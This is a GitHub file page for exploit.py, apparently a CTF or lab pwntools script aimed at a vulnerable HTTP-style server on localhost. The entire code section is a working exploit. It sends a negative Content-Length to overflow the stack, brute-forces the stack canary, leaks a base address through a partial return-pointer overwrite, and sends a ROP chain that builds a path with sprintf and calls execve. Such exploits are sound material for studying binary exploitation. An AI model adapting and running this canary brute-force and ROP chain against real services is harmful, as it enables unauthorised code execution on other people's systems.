-
Notifications
You must be signed in to change notification settings - Fork 6
/
exploit.py
executable file
·151 lines (136 loc) · 3.83 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host localhost --port 8080
from pwn import *
from time import sleep
import os
# Set up pwntools for the correct architecture
context.update(arch='i386')
context.log_level = 'critical'
exe = './path/to/binary'
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'localhost'
port = int(args.PORT or 8080)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# canary brute-force
canary = b''
i = 0
while True:
print(i, end='')
if len(canary) == 8:
break
io = start()
io.send(b'Content-Length: -1\r\n\r\n')
io.send(b'a' * 4095)
sleep(0.05)
io.send(b'b' + cyclic(8) + canary + p8(i))
io.recvall()
io.close()
sleep(0.05)
with open('ps_server.log', 'r') as f:
lines = f.readlines()
if lines[-1][-2] == '0':
print(lines[-1])
canary += p8(i)
print("canary:", canary)
i = -1
i += 1
# address leak
io = start()
io.send(b'Content-Length: -1\r\n\r\n')
# receive limit - 1
io.send(b'a' * 4095)
# sleep so recv() returns and goes through loop
sleep(0.5)
# last byte of return pointer overwritten with 0xbe
# jumps to function that leaks addresses to log file
io.send(b'b' + cyclic(8) + canary + cyclic(24) + b'\xbe')
io.close()
# sleep for a little bit so the write can finish
sleep(3)
# open log and read leaked address
with open('ps_data.log', 'rb') as f:
x = f.readlines()[-1]
print(bytes.hex(x))
addr_start = x.find(b'a' * 512 + b'h') + 512
addr_string = x[addr_start:addr_start+8]
addr = u64(addr_string)
base_addr = addr - 0x00120e68
print(hex(base_addr))
# use address to calculate rop gadget addresses
pop_rdi = base_addr + 0x00108876
pop_rsi = base_addr + 0x0011a533
pop_rdx = base_addr + 0x0011cca2
pop_rax = base_addr + 0x0010877f
syscall = base_addr + 0x0010a14c
sprintf = base_addr + 0x00108430
# location to build filename
buf = base_addr + 0x3e93c0
# "/tmp" string
arg1 = base_addr + 0x1bfaa0
io = start()
io.send(b'Content-Length: -1\r\n\r\n')
io.send(b'a' * 4095)
sleep(0.5)
io.send(b'b' +
cyclic(8) +
canary +
cyclic(24) +
# write /tmp to buf
p64(pop_rdi) +
p64(buf) +
p64(pop_rsi) +
p64(arg1) +
p64(pop_rdx) +
p64(4) +
p64(sprintf) +
# write /tmp to buf + 4
p64(pop_rdi) +
p64(buf + 4) +
p64(pop_rsi) +
p64(arg1) +
p64(pop_rdx) +
p64(4) +
p64(sprintf) +
# syscall
p64(pop_rdi) + # start syscall
p64(buf) +
p64(pop_rsi) +
p64(0) +
p64(pop_rdx) +
p64(0) +
p64(pop_rax) +
p64(0x3b) + # execve
p64(syscall))
io.close()